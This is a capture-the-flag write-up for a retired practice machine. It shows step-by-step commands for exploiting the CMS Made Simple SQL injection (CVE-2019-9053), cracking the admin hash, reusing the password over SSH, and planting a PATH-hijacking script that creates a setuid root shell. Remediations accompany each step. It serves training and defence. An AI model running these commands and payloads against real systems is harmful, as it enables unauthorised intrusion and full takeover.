jperezduerto.info
Writeup
Summary
I discovered a hidden CMS installation advertised by the server's own robots.txt file, then exploited a public SQL injection vulnerability in CMS Made Simple to extract and crack the administrator's password hash. That same password was reused as the SSH credential for the local Linux account 'jkr', giving direct server access.
Once inside, I found that jkr's 'staff' group membership granted write access to /usr/local/bin — a directory root searches before the system bin directories — and planted a malicious script there that root automatically executed on the next SSH login, yielding full system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Version scan confirming OpenSSH 9.2p1 on 22 and Apache 2.4.25 on 80.
$ nmap -sV -sC -p 22,80 $TARGETReveals Disallow: /writeup/ — the full path to the CMS.
$ curl -s http://$TARGET/robots.txtFixRemove sensitive application paths from robots.txtLow
Exact commands 3
Confirms CMS identity from page footer.
$ curl -s http://$TARGET/writeup/ | grep -i 'cms made simple\|version'Reveals exact installed version: 2.2.9.1.
$ curl -s http://$TARGET/writeup/doc/CHANGELOG.txt | head -10Matches CVE-2019-9053, Exploit-DB 46635.
$ searchsploit 'CMS Made Simple 2.2'Exact commands 3
Work on a local copy; leave the original untouched.
$ cp /usr/share/exploitdb/exploits/php/webapps/46635.py /tmp/46635_fixed.pyStub out the missing termcolor module so the script runs under Python 2.7.
$ sed -i '/from termcolor/d' /tmp/46635_fixed.py && sed -i "1idef colored(s,*args,**kwargs): return s\ndef cprint(s,*args,**kwargs): print s" /tmp/46635_fixed.pyDumps admin username, salt, hash, and cracks the password in one pass via the built-in --crack flag.
$ python2 /tmp/46635_fixed.py -u http://$TARGET/writeup/ --crack -w /usr/share/wordlists/rockyou.txtFixUpgrade CMS Made Simple to version 2.2.10 or later (CVE-2019-9053)Critical
Exact commands 2
Store extracted hash in hashcat's salt:hash format.
$ echo "$HASH" > /tmp/cmsms_hash.txtMode 20 = md5($salt.$pass). Recovers plaintext: $PASSWORD2.
$ hashcat -m 20 -a 0 /tmp/cmsms_hash.txt /usr/share/wordlists/rockyou.txt --quietFixReplace salted MD5 password storage with a modern slow hash algorithmHigh
Exact commands 2
Password: $PASSWORD2. Provides interactive shell as jkr.
$ ssh jkr@$TARGETCaptures user flag: <user.txt>
$ cat /home/jkr/user.txtFixEnforce unique passwords — never share credentials between applications and OS accountsHigh
Exact commands 3
Confirms jkr is in the staff group.
$ idBoth directories show group=staff with write (w) permission.
$ ls -la /usr/local/bin /usr/local/sbinReveals /usr/local/bin:/usr/bin:/bin:... — staff-writable directory resolves first.
$ echo $PATHExact commands 3
Drop malicious script. The last line calls the real binary so SSH login appears normal.
$ cat > /usr/local/bin/run-parts << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/run-parts "$@"
EOFMake it executable.
$ chmod +x /usr/local/bin/run-partsA new SSH session triggers the root-owned login hook, which executes our run-parts.
$ ssh jkr@$TARGET exitFixRemove staff-group write access from system binary directories in root's PATHCritical
Exact commands 3
Invokes root shell. The -p flag preserves the setuid effective UID.
$ /tmp/rootbash -pCaptures root flag: <root.txt>
$ cat /root/root.txtRemove all artifacts to restore the system.
$ rm -f /usr/local/bin/run-parts /usr/local/sbin/run-parts /tmp/rootbashAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.